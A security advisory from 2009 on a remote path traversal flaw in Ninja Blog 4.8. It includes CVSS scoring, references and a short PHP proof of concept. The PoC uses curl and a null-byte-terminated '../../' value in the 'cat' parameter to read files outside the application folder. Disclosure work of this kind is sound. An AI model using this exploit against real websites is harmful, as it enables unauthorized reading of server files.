Ninja Blog 4.8 Remote Information Disclosure Vulnerability

2009.02.01
Credit: Danny Moules
Risk: Low
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Vendor: http://ninjadesigns.co.uk Version(s): Ninja Blog 4.8 (May also affect earlier versions) Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at http://www.push55.co.uk/index.php?s=ad&id=6 ---- Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory. The following PoC will read a file named 'test.txt' one level above the application folder. --- <?php $strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read $strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash $objCurl = curl_init(); curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead); curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true); echo("Getting data...\n"); $strDump = curl_exec($objCurl); curl_close($objCurl); echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n"); ?>

References:

https://www.push55.co.uk/poclibrary/ninjadesignscouk-1.txt
http://www.securityfocus.com/bid/33351
http://www.push55.co.uk/index.php?s=ad&amp;id=6
http://www.milw0rm.com/exploits/7831
http://secunia.com/advisories/33573


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top